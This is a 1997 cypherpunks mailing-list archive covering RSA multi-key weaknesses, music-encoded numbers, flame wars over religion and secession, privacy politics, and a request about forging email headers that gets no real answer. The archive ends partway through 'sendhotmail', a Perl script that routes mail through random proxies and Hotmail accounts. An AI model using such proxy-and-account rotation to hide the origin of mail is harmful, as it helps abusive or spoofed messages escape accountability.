Subject: Re: Encrypting same data with many keys...
In-Reply-To: <199708121945.MAA16770@myriad.alias.net>
Message-ID: <Pine.SUN.3.96.970812155923.26326V-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997, Matthew Ghio wrote:

> Having identical plaintexts raised to the same power modulo different
> numbers makes the solution much easier.  If you have enough RSA
> encryptions of the same number to the same power, you can solve it
> outright by the remainder theorem.

So if I wanted to do this and use RSA, how could it be shielded from
attack?  I take it switching to DH or MH won't help.   Would Eliptic
Curves have different properties against this attack?

Maybe a random session key in the middle would help?

i.e.:	File[N]=RSA(PublicKey[n],RandomSessionKey[N]+IDEA(SessionKey[N],Data))


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 13 Aug 1997 07:12:56 +0800
To: cypherpunks@toad.com
Subject: Re: HIP hip hooray
In-Reply-To: <Pine.LNX.3.91.970812174410.25413A-100000@cowboy.dev.madge.com>
Message-ID: <1mccBe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark Grant <mark@unicorn.com> writes:

> Zooko Journeyman (zooko@xs4all.nl) wrote:
> >HIP rocked. I'm still trying to adjust to the mundanity
> >of everyday life. I loved meeting some cpunks in Real
> >Life.

Do drop by whenever you're in NYC. :-)

> Hey, Zooko! You were the only Cypherpunk who made the article in the
> 'Independent' (by that blonde reporter who was wandering around), though
> Lucky Green was mentioned by name. 

Isn't it bad luck to mention Lucky Green by name?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rab@stallion.oz.au
Date: Tue, 12 Aug 1997 18:27:48 +0800
To: cypherpunks@toad.com
Subject: RE: Forged headers
Message-ID: <B1921E08F1F0D011BFE200000103803101AE38@mallory.stallion.oz.au>
MIME-Version: 1.0
Content-Type: text/plain



Try RFC822...

> ----------
> From: 	The Traveler[SMTP:travel23@juno.com]
> Sent: 	Tuesday, 12 August 1997 16:08
> To: 	cypherpunks@toad.com
> Subject: 	Forged headers
> 
> 
> Does anyone know of a URL where you can get information on how to
> forge
> headers and email addresses?
> 
> The Traveler
> 
> -----------------------------
> "Sometimes you're the bug, sometimes you're the windshield."
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Tue, 12 Aug 1997 18:27:41 +0800
To: cypherpunks@toad.com
Subject: Re: Masons and Fnords
In-Reply-To: <Pine.SUN.3.96.970811170713.14763W-100000@beast.brainlink.com>
Message-ID: <Pine.SOL.3.91.970812165655.25651C-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain




> 
> > (Why do you think the new standard for secure commerce is called SET?)
> 
> Bah, why do you think most UNIX shells have the command SET in them?  All
> variables are under Set's influence!  setenv's just Set's son. :)
 
What really !!!! NOOOOOOOOOOOOOOOOOOOOOO. run for the hills =. But wait 
the NWO fascists will protect us from the masons





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bodo_Moeller@public.uni-hamburg.de (Bodo Moeller)
Date: Wed, 13 Aug 1997 03:21:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: RSA - the song
In-Reply-To: <19970802195402.19993@bywater.songbird.com>
Message-ID: <m0wyIeA-0003bAC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com>:

> [...] the intermediate protocol is music.
> [...] another example of the absurdity of the export ban. 

For encoding numerical data as music, I usually use the following
scheme:

The digits 0 ... 9 are mapped to the C major scale:

  0 becomes B,   1 becomes c,  2 becomes d,  3 becomes e, ...,
  8 becomes c',  9 becomes d'.

(Of course, this can be transposed to any other key.)

The next step is to find appropriate rhythms, harmonies etc. that make
at least some sense, musically, in order to construct a melody out of
that sequence of notes.  As an example, I scribbled down the first
digits of pi = 3.141592653589793238462643383279502884197169...
The score can be found in the uuencoded GIF below (and soon also at
<URL:http://agn-www.informatik.uni-hamburg.de/people/3moeller/pi.gif>).
That version (in D major) is for harpsichord or piano.  I did not mark
which notes I think should be played legato, legatissimo or portato;
that is left as an exercise.

It would be quite cumbersome, of course, to use this method for
exporting software.  However, it is very convenient for memorizing
numbers: Melodies are much easier to remember than boring numbers
(unless you happen to be a computer in which case you'd prefer the
raw numbers because they contain less data, technically). 

This works good for decimal numbers (no large jumps, no difficult
harmonies: B d f g b d' can all be used as G 7 notes if all else
fails).  Hex numbers are not that easy to handle.  In addition to
0 ... 9 == B c ... c' d', then there are A ... F == e' ... c''
(i.e., the digits/notes are spread over slightly more than two
octaves).  Because of that, my PGP fingerprint is somewhat
avant-gardistic: C7AC7EAD  566A65 ECF  61666 83 7E 8668 28
(See what I mean? :-)


In addition to memorizing one's PGP fingerprint, there are other
possible cryptographic applications: Under certain circumstances, one
might need to implement crypto-software from scratch without having
access to any written documents and without having access to computer
networks.  For such situations, it would be good to have some kind of
"memorizable encryption standard".  Writing RSA routines is easy (at
least if you are lucky enough to have some bignum library or if the
programming language supports bignums), but often you will need more:
E.g., a key generator for RSA that will find your 1024 bits RSA key
(which is really 2048 bits long if you count both N and D) given a 128
bits secret as seed.  It might make sense to use some cryptographic
hash function as the core of the "memorizable encryption standard":
The hash function can be used by the key generator (similar to the DSA
"kosherizer"), and it can be used to build a symmetric cipher
(Luby-Rackoff style).

Musically, the "memorizable encryption standard" could be a suite
consisting of a Prelude that somehow defines the hash function and of
some other movements that give test data for the hash function, for
the derived encryption function, for the RSA (or DH/DSA) key generator
etc.

Bodo Moeller
<Bodo_Moeller@public.uni-hamburg.de>


The first four bars of pi:

begin 644 pi.gif
M1TE&.#=A(`-8`H```````/___RP`````LP((`@`"7XR/J<OM#Z.<M-J+L]Z\
M^P^&XDB6YHFFZLJV[@O'\DS7]HWG^L[W_@\,"H?$HO&(3"J7S*;S"8U*I]2J
M]8K-:K?<KO<+#HO'Y++YC$ZKU^RV^PV/R^?TNOV.S^OW_+[?VTP0'U.7VQ]&
M.6FU%V>]>?<?#,61+,T33=65;5T+>.69KNT;AX$X[_T?&-KM@D7C$9E,#7E*
MYQ.J8A*C5>L5>VENJ%GO%WP8&KIA\QF=*V/6:?=;W1S#Z74[A[BMM.]]OXAJ
M[F^04(F/(E!OXK"PL8,)!Y)M2G&RTC'B$O-N*B-/\X%R<]2SLX$1A!*5011/
M<FGUR)24,T9P[Q5WEI87@N<P5P%TT398Y[%8ZM8W5KFUU\F8]7?X=)=8K!H:
M>CF;L9E9&QN/3)Q+>AI=#"6Q>]NE^MJ:VCQ!WA<!W/Z'(#ZF+K<_C')2"*Z[
M@.'*N[=H80.2T5AIZZ:LIV3"KCS;-VZD#YOI]:='$DXZNQPRJ5PRFS\>,-4*
M3D5`5/4ZK#:YL6P-H[V-9Z],.<'R.I/I-;9X#$E5Q#8^K]\CYVIV@!'@3YD?
M%AR.H=L@&D4:S..68N#9X1V?#:/.P6-DY4DD%>8H::DIIU:4V)OF))2KQ^?2
MJN8?+&6;;`[B'^X7:FW<7FAG\:U%\*GR,O-H*N#E!UKR\+$9KR4RGBY9-*6U
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`
end





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Tue, 12 Aug 1997 18:27:58 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708110147.DAA25245@basement.replay.com>
Message-ID: <Pine.SOL.3.91.970812170843.25651F-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain




> Too many Christians try to censor atheist site because it defies their Almighty God (TM), and somehow clouds others views.

I notice to many and all for you have a way of being the same. Typical 
narrow minded sterotyping. 

> 
> Bullshit.  Most Christians I see IRL and on TV cringe at books other than The Good Book(TM).  Creationism is bullshit, God didn't make everything in 7 days, we evolved from monkeys and various others (Although many half-evolved monkeys can be seen on TV Evangelism shows and in Congress).

SO get out more and meet more Christians. Dont generalise to some tiny 
subset you know.  
> In order to believe in something, I need some hard facts.  I need to actually see a god (while I'm sober) talk to me and I talk back and see him actually makes things.  Unlike some of the weaker people, I can't just believe it because "anything's possible".  I can't believe it because a minister or a book tells me.  When I was around 8 years, I read this section of the bible asking questions like (it was in the back) "How do we know the bible is true?"  I was intersted, reading further, I noticed some page numbers, so I went there, finding not words of a scientist, but supposed words of god.  If god supposedly asked people to write this, and he says it's true, then that's called bullshit, because that's like someone writing a crypto algorithm, and stating it's secure even though no one else has seen it.
                                                ^^^^^^^^^^

Next you'll claim to belive in evoloution because it has hard facts. 
Sorry to burst your bubble but evolotuion is at least as faulty as 
creationsim. And before you shoot your mouth off and look stupid, i have 
studied a lot of biological scinces at a teritiry level, and was majoring 
in it till i swithced to computer science. I also know heaps of biology 
students who share a similar opinionof evolotuion. No not all of these 
are Christians they just know what there talking about.


> In short, unless I see it for myself, I won't believe it fully.  In religions case, at all.

Again, your probably an evolotuoinist. You belive in quarks don't you ?? 
But wait you cant see them and all information realted to them is 
theoretical. Still what can i expect from the sheltered ignorant. 

Get out more and meet more poeple and dont generalise to all from small 
subsets you ignorant individual.

Jason 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 13 Aug 1997 20:40:04 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
Message-ID: <199708131227.HAA13732@dfw-ix10.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




Patrick Oonk wrote:
> 
> Is this what the cypherpunks list has become ? Discussions about religion ?

  We killed this thread but after three days it rose again.

> If so, I am out of here...

  Don't let lightning strike you in the ass on your way out.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 13 Aug 1997 06:00:20 +0800
To: cypherpunks@toad.com
Subject: Dept. of Commerce Forum on CAs
Message-ID: <v0311073bb016863be351@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date:         Tue, 12 Aug 1997 12:17:40 -0700
Reply-To:     Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
Sender:       Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
From:         "John D. Muller" <jmuller@BROBECK.COM>
Subject:      Dept. of Commerce Forum on CAs
To:           DIGSIG@VM.TEMPLE.EDU

     The Department of Commerce has started to build up a Web site with
     content from its request for comment and July 24 forum on public
     certification authorities.  Public comments submitted electronically
     are now online at http://csrc.nist.gov/ecforum.

     John Muller
     jmuller@brobeck.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 13 Aug 1997 06:07:05 +0800
To: cypherpunks@toad.com
Subject: Re: List of crypto-related courses
Message-ID: <v0311073cb0168669ee0b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: tnh@nepop.mediaone.net
Mime-Version: 1.0
Date: Tue, 12 Aug 1997 16:35:22 -0400
To: Robert Hettinga <rah@shipwright.com>
From: "Timothy N. Hill" <tnh@acm.org>
Subject: Re: List of crypto-related courses
Cc: dcsb@ai.mit.edu, Avi Rubin <rubin@research.att.com>
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: "Timothy N. Hill" <tnh@acm.org>

At 14:51 -0400 97-08-12, Robert Hettinga wrote:
>--- begin forwarded text
>
>
>From: Avi Rubin <rubin@research.att.com>
>...
>
>   http:/www.cs.ny.edu/~rubin/courses.html

Make that

   <http://www.cs.nyu.edu/~rubin/courses.html>
          ^         ^

 - Tim

Timothy N. Hill <tnh@acm.org>   "Let me tell you something, son,
Wellesley, Massachusetts, USA   Before you get much older.
<http://tnh.ne.mediaone.net/>   You cannot hit the ball, my friend,
PGP  3FAA C8B3 D7BB 9C93 882E   With the bat upon your shoulder."
     4221 2F66 EFF4 00C6 CF92    - Bill "Lord" Byron, The Singing Umpire



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 13 Aug 1997 08:29:39 +0800
To: ghio@temp0107.myriad.ml.org>
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <Pine.SUN.3.96.970812111223.26326D-100000@beast.brainlink.com>
Message-ID: <Chameleon.871421963.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



> > What are the dangers of taking a small block of data - say upto 1K in
> > size, then producing many files, each being the same data encrypted by
> > other keys?
> ...
> > Assume we're using 128 bit Blowfish/Idea or better, and discarding
> > weak keys.
> 
> For a standard block cipher there should be no problem.  For a stream
> cipher, you would have the same type of problems as for OTP reuse, but
> it would still be secure as long as you never reused a key.  However...
> 
> > What if instead of using a private key cypher, we used a public key
> > cypher?  Would that make any difference in attack methods?
> 
> Yes.
> 
> Having identical plaintexts raised to the same power modulo different
> numbers makes the solution much easier.  If you have enough RSA
> encryptions of the same number to the same power, you can solve it
> outright by the remainder theorem.

So would that then be a possible weakness in encrypting to multiple 
recipients with PGP? Probably not, since the actual data is encrypted with 
idea.



------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/12/97
Time: 17:37:16
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 13 Aug 1997 09:15:06 +0800
To: cypherpunks@toad.com
Subject: Why the government should protect our privacy
Message-ID: <Pine.GSO.3.95.970812174748.10940E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 12 Aug 1997 20:15:33 -0400
From: Marc Rotenberg <rotenberg@epic.org>
To: declan@well.com, Michael Sims <jellicle@inch.com>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: trustee, shmustee

At 7:46 PM -0400 8/12/97, Declan McCullagh wrote:
>On Tue, 12 Aug 1997, Michael Sims wrote:
>>
>> What groups want for privacy of individuals:
>>
>> Government: Lots
>
>Michael, thank you for reminding us of the Clinton administration's
>valiant efforts to protect individual privacy.
>
>I agree that we should blissfully ignore that we're talking about the
>Clipper Chip president, the Digital Telephony guy, the same fellow who
>will veto any pro-privacy crypto bill.  We should try to forget last
>year's anti-terrorism bill, push for roving and multipoint wiretaps, and
>FBI desires to ban nonescrowed domestic crypto. No longer should I be
>concerned about the administration's quest for enormous voracious
>databanks that will be tied together -- airport security, travel records,
>national id cards. And of course ACLU legislative counsel Don Haines is a
>fool when he speaks of "the Clinton-Gore effort to hardwire Big Brother
>into the information age.
>
>Silly me.
>

Declan is absolutely right. Good thing there are no real
privacy officials in the federal government and no privacy
laws for the Internet to get in the way of these efforts.

Has anyone else noticed that the most sweeping proposals
for surveillance are coming from the administration that
has backed the fewest privacy laws of any administration
in 30 years?

Mere coincidence? I don't think so.

Marc.




==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Wed, 13 Aug 1997 02:10:13 +0800
To: cypherpunks@toad.com
Subject: Re: HIP hip hooray
Message-ID: <Pine.LNX.3.91.970812174410.25413A-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




Zooko Journeyman (zooko@xs4all.nl) wrote:
>HIP rocked. I'm still trying to adjust to the mundanity
>of everyday life. I loved meeting some cpunks in Real
>Life.

Hey, Zooko! You were the only Cypherpunk who made the article in the
'Independent' (by that blonde reporter who was wandering around), though
Lucky Green was mentioned by name. 

'"[hacking] can be a wonderful thing", explained Zooco, a member of the
CypherPunks. "Pretty much every useful aspect of modern computing was
devised by hackers -- like the Internet and email."'

So did she spell your name wrong, or were you using a pseudonym ;-) ?

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Wed, 13 Aug 1997 02:44:08 +0800
To: tcmay@got.net (Tim May)
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <v03102803b0163ff1c75d@[207.167.93.63]>
Message-ID: <199708121733.TAA27804@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> 
> At 4:10 AM -0700 8/12/97, Patrick Oonk wrote:
> 
> >Is this what the cypherpunks list has become ? Discussions about religion ?
> >
> >If so, I am out of here...
> 
> The list is about what people discuss. It is up to all readers to write
> articles that are interesting.
> 
> Merely sitting back and waiting for good articles is seldom fruitful.

Yeah right,

I subscribed to this list again after I met some cypherpunks
at HIP'97, as they told me it's still interesting.
AFAIK this list is about cryptography, privacy and security.

But hey, I just killfile everyone that discusses religion :)

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Wed, 13 Aug 1997 08:39:03 +0800
To: cypherpunks@toad.com
Subject: Correction: List of crypto-related courses
Message-ID: <199708130015.UAA28257@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



Oops, I got the URL a bit wrong in my last posting. Here it
is again with the corrected URL.

For the last year or so, I have built and maintained a list of graduate
level courses on cryptography and security. The current list can be found
at 

   http://www.cs.nyu.edu/~rubin/courses.html

I would like to keep this list as current as possible, so if you have
any additions/corrections, etc, please let me know. I am only interested
in full-semester courses at universities.

Thank you,
Avi

*********************************************************************
Aviel D. Rubin                                 rubin@research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Labs - Research
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809

   --> Check out http://www.clark.net/pub/mjr/websec/ for a new
       book on web security (The Web Security Sourcebook).
*********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 13 Aug 1997 10:43:07 +0800
To: cypherpunks@toad.com
Subject: Re: Guy Polis (fwd)
Message-ID: <Pine.BSF.3.91.970812210307.21517A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Lame forgery.

-r.w.


---------- Forwarded message ----------
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Message-ID: <33EFBCAD.5D8@mcfeely.bsfs.org>
Date: Mon, 11 Aug 1997 19:30:21 -0600
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Organization: Electronic Forgery Foundation
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: cypherpunks@toad.com
Subject: Re: Guy Polis
References: <g6maBe1w165w@bwalk.dm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks@cyberpass.net
Precedence: bulk
Reply-To: Rabid Wombat <wombat@mcfeely.bsfs.org>
X-List: cypherpunks@cyberpass.net
X-Loop: cypherpunks@cyberpass.net

Dr.Dimitri Vulis KOTM wrote:
> There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
> jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
> like a bad troll intended to make the folks who promote the use of crypto
> look like, well, crackpots. Be warned.

Tim May wrote:
>  Yeah, and like we're gun-nuts, too!

The mammalian jackass is also claiming that all crypto promoters 
are marsupials.

-rw







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 13 Aug 1997 10:49:13 +0800
To: The Traveler <travel23@juno.com>
Subject: Re: Forged headers
In-Reply-To: <19970812.020823.3662.1.travel23@juno.com>
Message-ID: <Pine.BSF.3.91.970812210520.21517B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Ask Toto.

On Tue, 12 Aug 1997, The Traveler wrote:

> Does anyone know of a URL where you can get information on how to forge
> headers and email addresses?
> 
> The Traveler
> 
> -----------------------------
> "Sometimes you're the bug, sometimes you're the windshield."
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 13 Aug 1997 10:48:13 +0800
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: A peculiar notion
In-Reply-To: <Pine.SOL.3.95.970812101447.4276G-100000@viper.law.miami.edu>
Message-ID: <199708130240.VAA24024@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SOL.3.95.970812101447.4276G-100000@viper.law.miami.edu>, on
08/12/97 
   at 10:24 AM, "Michael Froomkin - U.Miami School of Law"
<froomkin@law.miami.edu> said:

>It is consistent with the dual sovereignty thesis to say that "what is
>delegated can be withdrawn" but the entity doing the "withdrawing" is the
>people (by some democratic process, presumably, e.g. a new constitutional
> convention), not the states, for it is the people who did the delegation
>in the first place.  

But if the people of a State decide that they nolonger wish to be aligned
with the people of another state and their elected representaves act on
this what right does the people of the other state have in forcing them to
remain aligned.

Your argument seems to make some distinction between the rebel states and
the people they represented. Both were in agrement that the Union should
and must be disolved. A detailed study of the times will show that not
only did the vast majority of the people of the South support this but
that many in the North did also. If anyone was acting against the "will of
the people" it was Lincoln and the power broakers in DC (funny how little
things have changed).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/EQeI9Co1n+aLhhAQG7dwQAioxxnXsn33yzgVR7lg66uc+erIvrgPCn
gTSdyqDwvL57caBulfMzey+uHk1fEdb/fVu4+Utny6uxCJsg/vR6IVimAMWhfAjV
EHpuWaT7Wnf1uNk0ledjBMf3eJ15melPiutW6UPVm7LJv4z8yze4HgY07KQTS9bB
h4UE5SBMi8w=
=58X6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 13 Aug 1997 10:14:51 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: A peculiar notion
In-Reply-To: <v03102809b0162dabfc26@[10.0.2.15]>
Message-ID: <Pine.SOL.3.95.970812220443.14307C-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997, Steve Schear wrote:

> So, if the people (legal voters in the states which planned to withdraw)

No, "the people" is the people of the united states as a whole.  The
federalist papers deals with this somewhere, where they explain that of
course the voting had to be organized state by state, because that tracked
the reality of how everything was organized, but nonetheless it was
intended to be a national pleblecite to produce a national government.

> had called a constitutional convention, whose vote was for withdrawl, it
> might (in your opinion) been a legitimate undertaking with binding result?

No. see above.
> I don't think the North would have accepted any withdrawl, not matter how
> it was decided within the South.

right.

[...]

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin/
Coral Gables, FL 33124 USA | It's @%#$%$# hot here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 13 Aug 1997 14:09:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: sendhotmail, version 1.2
In-Reply-To: <5sqrsc$c8k$1@abraham.cs.berkeley.edu>
Message-ID: <19970813052800.32038.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Ian writes:

> Here's version 1.2 of sendhotmail.

This is truly beautiful.  How long until hotmail is the default for
everything coming out of a mixmaster that isn't going to another
remailer?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 13 Aug 1997 11:19:09 +0800
To: cypherpunks@toad.com
Subject: Fuck the usenet cabal
Message-ID: <87scBe10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



I came up with yet another brilliant idea.

Stanford Wallace's Cyberpromo site has been hacked by some criminals, but
it's coming back.  In particular, he's giving away free autoresponders again.

(An autoresponder is an address@cyberpromo.com to which you can send an
e-mail and get back a pre-recorded response, if your site accepts e-mail
from cyberpromo.  Supposedly anyone can set one of them up for free
and provide their own automatic response. Stanford is running a promotion.)

Now, suppose some non-US person sets up an auto-responder that sends out
strong crypto software, and another non-US person requests it and gets it.

Is anyone going to be guilty of ITAR violations?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@CS.Berkeley.EDU (Ian Goldberg)
Date: Wed, 13 Aug 1997 11:05:30 +0800
To: cypherpunks@cyberpass.net
Subject: sendhotmail, version 1.2
In-Reply-To: <19970807192254.40.qmail@zipcon.net>
Message-ID: <5sqrsc$c8k$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



Here's version 1.2 of sendhotmail.

Now the only configuration option in the perl script itself is the location
of a config file.  That file should have the following form (you should change
the pathnames of the local files, of course):

---8<--- sample config file ---8<---
## The URL from which to fetch the current list of active proxies
Proxy List URL: http://www.publius.net/~remailer/proxy_list.txt

## The file in which to cache the above list
Proxy List Cache File: /home/iang/sendhotmail/proxy_list.txt

## How many days to cache the proxy list
Proxy List Cache Age: 1

## The file containing the list of hotmail accounts
Account List File: /home/iang/sendhotmail/accountlist
---8<--- sample config file ---8<---

Also, you'll need a list of valid hotmail account names/passwords in the
account list file to which you pointed, above.  This file contains a number
of lines, each of the form "login:password".  For example:

---8<--- sample accountlist file ---8<---
ldeliverer:xxxx
---8<--- sample accountlist file ---8<---

sendhotmail now picks a proxy and hotmail account at random.  I'll try to
keep the proxy list relatively up-to-date, and you need to keep your
account list up-to-date (in case Hotmail shuts one down, or something).

The perl program will "die" if something unexpected happens (such as the
proxy it chose didn't work, or the hotmail account was suddenly invalid).
Just try running it again (future versions will likely automatically
retry with different random choices for the proxy and the hotmail login).

   - Ian

#!/usr/bin/perl -w

##
## sendhotmail: pipe an RFC822 mail message into this, and it will send it
##              out from a hotmail account via an HTTP proxy
##
## Program by Ian Goldberg <ian@cypherpunks.ca>
##

use LWP;

$uadirect = new LWP::UserAgent;

## The filename of the configuration file
$configfile = '/home/iang/sendhotmail/config';

## Read the config file
open(CONFIG, $configfile) or die "Cannot open $configfile: $!\n";
while(<CONFIG>) {
    next if /^\s*$/o;
    next if /^\s*\#/o;
    next unless /^([^:]+):\s*(.*)$/o;
    $value = $2;
    $name = "\L$1\E";
    $name =~ s/[^a-z0-9]//iog;
    $config{$name} = $value;
}
close(CONFIG);

## Get the proxy list
$proxylisturl = new URI::URL ($config{'proxylisturl'} ||
		'http://www.publius.net/~remailer/proxy_list.txt');
if (defined $config{'proxylistcachefile'}) {
    ## Check if the locally cached copy is new enough
    $maxage = $config{'proxylistcacheage'} || 1;
    if (! -e $config{'proxylistcachefile'} ||
	    -M $config{'proxylistcachefile'} > $maxage) {
	## Fetch a new copy
	$request = new HTTP::Request('GET', $proxylisturl);
	$request->header(Pragma => 'no-cache');
	$response = $uadirect->request($request);
	$body = $response->content;
	$newfname = $config{'proxylistcachefile'}.".new.$$";
